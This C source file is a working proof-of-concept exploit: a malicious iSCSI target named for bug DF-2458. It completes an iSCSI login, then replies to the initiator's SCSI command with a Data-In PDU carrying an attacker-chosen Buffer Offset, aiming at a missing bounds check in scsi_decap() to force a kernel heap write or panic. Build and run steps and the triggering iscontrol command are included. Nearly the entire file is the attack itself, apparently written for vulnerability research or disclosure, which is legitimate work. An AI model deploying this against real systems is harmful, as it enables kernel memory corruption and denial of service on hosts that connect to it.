/*
 * mtarget2458.c - Malicious iSCSI target for DF-2458 (scsi_decap buffer-offset write).
 *
 * Performs a minimal-but-valid iSCSI Login (Security -> Operational -> FFP),
 * then, once the initiator is in Full Feature Phase and CAM issues a SCSI
 * command (INQUIRY) for LUN probing, replies with a SCSI Data-In PDU whose
 * target-controlled Buffer Offset (bo) is attacker-chosen.  scsi_decap()
 * computes dp = csio->data_ptr + ntohl(bo) with NO bounds check and memcpy()s
 * the data segment there -> arbitrary-offset kernel heap write / panic.
 *
 * Build: cc -o mtarget2458 mtarget2458.c
 * Run:   ./mtarget2458            (listens 127.0.0.1:3260)
 *
 * iscontrol side (root):
 *   iscontrol -t 127.0.0.1 targetName=iqn.1990-08.com.fake:t \
 *       initiatorName=iqn.1990-08.com.fake:i authMethod=None
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

static int G_c = -1;
static unsigned statSN = 0;
static unsigned expCmdSN = 1;
static unsigned maxCmdSN = 32;

/* BHS field offsets (network order, 48 bytes). */
#define BHS_OP        0
#define BHS_FLAGS     1
#define BHS_AHSLEN    4
#define BHS_DSLEN     5    /* 24-bit, bytes 5..7 */
#define BHS_LUN       8
#define BHS_ITT       16
#define BHS_CMDSN     24
#define BHS_EXPSTATSN 28
#define BHS_STATSN    24   /* in target->initiator PDUs, OpcodeSpecificFields[1] */
#define BHS_MAXCMDSN  36

static unsigned get24(const unsigned char *b, int off) {
    return ((unsigned)b[off] << 16) | ((unsigned)b[off+1] << 8) | b[off+2];
}
static void set24(unsigned char *b, int off, unsigned v) {
    b[off]   = (v >> 16) & 0xff;
    b[off+1] = (v >> 8) & 0xff;
    b[off+2] = v & 0xff;
}
static void put32(unsigned char *b, int off, unsigned v) {
    b[off]=v>>24; b[off+1]=v>>16; b[off+2]=v>>8; b[off+3]=v;
}
static unsigned get32(const unsigned char *b, int off) {
    return ((unsigned)b[off]<<24)|((unsigned)b[off+1]<<16)|((unsigned)b[off+2]<<8)|b[off+3];
}

/* read exactly n bytes */
static int readn(int fd, void *buf, int n) {
    int got = 0, r;
    unsigned char *p = buf;
    while (got < n) {
        r = read(fd, p + got, n - got);
        if (r <= 0) return -1;
        got += r;
    }
    return got;
}

static void sendb(const void *p, int n) { if (write(G_c, p, n) != n) perror("write"); }

/* Build & send a Login Response (opcode 0x23). echoes isid/itt/tsih,
   T=1, status=0, advances CSG->NSG as the initiator asked. */
static void send_login_rsp(const unsigned char *req, const char *dataseg, int dslen) {
    unsigned char b[48 + 4096];
    int pad, total;
    memset(b, 0, sizeof(b));
    b[BHS_OP] = 0x23;                 /* Login Response */
    /* flags byte: copy CSG/NSG/T from request (byte 1) -- agree to transit */
    b[BHS_FLAGS] = req[BHS_FLAGS] | 0x80;   /* force T=1 (bit 7) */
    b[2] = 0x00;                      /* max version */
    b[3] = 0x00;                      /* active version */
    /* isid[6] at offset 8, tsih (16-bit, network order) at offset 14 */
    memcpy(b + 8, req + 8, 6);
    b[14] = 0; b[15] = 1;             /* tsih = 1 (target-assigned, non-zero) */
    put32(b, BHS_ITT, get32(req, BHS_ITT));    /* echo itt */
    /* reserved _2 at 20 */
    statSN++;
    put32(b, 24, statSN);             /* StatSN */
    put32(b, 28, expCmdSN);           /* ExpCmdSN */
    put32(b, 32, maxCmdSN);           /* MaxCmdSN */
    put32(b, 36, 0);                  /* status = 0 (success) */
    set24(b, BHS_DSLEN, dslen);
    total = 48;
    memcpy(b + 48, dataseg, dslen);
    total += dslen;
    pad = (4 - (dslen & 3)) & 3;
    if (pad) { memset(b + total, 0, pad); total += pad; }
    sendb(b, total);
}

/* operational parameter agreements (key=value\0...) */
static const char *SEC_RSP = "AuthMethod=None\0";
static const char *OP_RSP =
    "MaxRecvDataSegmentLength=65536\0"
    "MaxBurstLength=262144\0"
    "FirstBurstLength=65536\0"
    "HeaderDigest=None\0"
    "DataDigest=None\0"
    "ErrorRecoveryLevel=0\0"
    "DefaultTime2Wait=2\0"
    "DefaultTime2Retain=20\0"
    "DataPDUInOrder=Yes\0"
    "DataSequenceInOrder=Yes\0"
    "MaxOutstandingR2T=1\0"
    "MaxConnections=1\0"
    "InitialR2T=Yes\0"
    "ImmediateData=No\0";

static int op_rsp_len(void) {
    /* sum of strlen+1 for each key */
    const char *p = OP_RSP; int n = 0;
    while (*p) { int l = strlen(p)+1; n += l; p += l; }
    return n;
}
static int sec_rsp_len(void) { return strlen(SEC_RSP) + 1; }

int main(int argc, char **argv) {
    int port = argc > 1 ? atoi(argv[1]) : 3260;
    unsigned bad_bo = argc > 2 ? (unsigned)strtoul(argv[2], 0, 0) : 0x40000000;
    int s, one = 1, in_ffp = 0;
    struct sockaddr_in sa;

    signal(SIGPIPE, SIG_IGN);
    s = socket(AF_INET, SOCK_STREAM, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("127.0.0.1");
    sa.sin_port = htons(port);
    if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; }
    if (listen(s, 1) < 0) { perror("listen"); return 1; }
    printf("mtarget2458: listening 127.0.0.1:%d bad_bo=0x%x\n", port, bad_bo); fflush(stdout);

    { struct sockaddr_in ca; socklen_t cl=sizeof(ca);
      G_c = accept(s, (struct sockaddr*)&ca, &cl);
      if (G_c < 0) { perror("accept"); return 1; } }
    printf("mtarget2458: accepted\n"); fflush(stdout);

    for (;;) {
        unsigned char bhs[48];
        unsigned char *ahs_ds = NULL;
        int r, ahsl, dsl, extra;
        r = readn(G_c, bhs, 48);
        if (r < 0) { printf("mtarget2458: connection closed (r=%d)\n", r); break; }
        ahsl = bhs[BHS_AHSLEN] * 4;
        dsl = get24(bhs, BHS_DSLEN);
        extra = ahsl + ((dsl + 3) & ~3);
        if (extra > 0) {
            ahs_ds = malloc(extra);
            if (readn(G_c, ahs_ds, extra) < 0) { printf("ds read fail\n"); break; }
        }
        printf("mtarget2458: PDU op=0x%02x flags=0x%02x itt=0x%08x dslen=%d ahsl=%d\n",
               bhs[BHS_OP] & 0x3f, bhs[BHS_FLAGS], get32(bhs, BHS_ITT), dsl, ahsl);
        if (dsl && ahs_ds) { printf("  ds: "); for(int i=0;i<dsl && i<64;i++) printf("%c", (ahs_ds[i]>=32&&ahs_ds[i]<127)?ahs_ds[i]:'.'); printf("\n"); }
        fflush(stdout);

        switch (bhs[BHS_OP] & 0x3f) {
        case 0x03: { /* Login Request */
            int csg = (bhs[1] >> 2) & 3;
            int nsg = bhs[1] & 3;
            printf("  LOGIN csg=%d nsg=%d T=%d\n", csg, nsg, (bhs[1]>>7)&1);
            /* respond: security phase -> offer AuthMethod=None; operational -> agreements */
            if (csg == 0) send_login_rsp(bhs, SEC_RSP, sec_rsp_len());
            else send_login_rsp(bhs, OP_RSP, op_rsp_len());
            if (nsg == 2 && (bhs[1] & 0x80)) { in_ffp = 1; printf("  -> transitioned to FFP\n"); }
            break;
        }
        case 0x00: /* NOP-OUT: reply NOP-IN */
        case 0x04: /* Text cmd */
        {
            unsigned char nb[48]; memset(nb, 0, 48);
            nb[0] = 0x20; nb[1] = 0x80; put32(nb, 16, 0xffffffff); put32(nb,20,0xffffffff);
            put32(nb, 24, ++statSN); put32(nb, 28, expCmdSN); put32(nb, 32, maxCmdSN);
            sendb(nb, 48);
            break;
        }
        case 0x01: { /* SCSI CMD -- inject the malicious Data-In */
            unsigned itt = get32(bhs, BHS_ITT);
            unsigned edtlen = get32(bhs, 40 - 8); /* scsi_req.edtlen is at BHS offset 36 */
            /* Note: scsi_req_t.edtlen is at byte offset 36 (cdb is 16..; edtlen before cmdSN).
               We re-derive from the struct: offset 36 in the 48-byte BHS. */
            edtlen = get32(bhs, 36);
            printf("  SCSI CMD itt=0x%08x edtlen=%u -> injecting BAD Data-In bo=0x%x\n",
                   itt, edtlen, bad_bo);
            fflush(stdout);
            /* build Data-In (opcode 0x25), F=1, S=1 (status at end), bad bo.
               small data segment of 'A' bytes, len <= edtlen so the
               'edtlen >= ds_len' check passes. */
            {
                int ds = 16;                /* small payload */
                if (ntohl(edtlen) < (unsigned)ds) ds = ntohl(edtlen);
                /* edtlen here is in network order from the wire; convert */
                {
                    unsigned el = ntohl(edtlen);
                    if (el < (unsigned)ds) ds = el;
                    if (ds <= 0) ds = 1;
                }
                unsigned char d[48 + 4096];
                int total, pad;
                memset(d, 0, sizeof(d));
                d[0] = 0x25;            /* READ DATA opcode */
                /* data_in_t byte1: S:1 U:1 O:1 __:3 A:1 F:1 (F=bit0, S=bit7) */
                d[1] = 0x81;            /* F=1 (final) + S=1 (status included) */
                d[3] = 0x00;            /* status GOOD */
                put32(d, 16, itt);                 /* itt */
                put32(d, 20, 0xffffffff);          /* ttt */
                put32(d, 24, ++statSN);            /* StatSN */
                put32(d, 28, expCmdSN);            /* ExpCmdSN */
                put32(d, 32, maxCmdSN);            /* MaxCmdSN */
                put32(d, 36, 0);                   /* DataSN */
                put32(d, 40, bad_bo);              /* Buffer Offset = ATTACKER VALUE */
                memset(d + 48, 'A', ds);
                set24(d, BHS_DSLEN, ds);
                total = 48 + ds;
                pad = (4 - (ds & 3)) & 3;
                if (pad) { memset(d+total, 0, pad); total += pad; }
                sendb(d, total);
                printf("  sent Data-In ds=%d bo=0x%x\n", ds, bad_bo);
                fflush(stdout);
                /* if guest hasn't panicked, it will try more SCSI cmds; keep serving */
            }
            break;
        }
        case 0x06: { /* Logout */
            unsigned char lb[48]; memset(lb,0,48);
            lb[0]=0x26; lb[1]=0x80; put32(lb,16,get32(bhs,16));
            put32(lb,24,++statSN); put32(lb,28,expCmdSN); put32(lb,32,maxCmdSN);
            sendb(lb,48);
            printf("  logout -> bye\n"); fflush(stdout);
            goto done;
        }
        default:
            printf("  (ignoring op 0x%02x)\n", bhs[0]&0x3f); fflush(stdout);
            break;
        }
        if (ahs_ds) { free(ahs_ds); ahs_ds = NULL; }
    }
done:
    close(G_c); close(s);
    return 0;
}
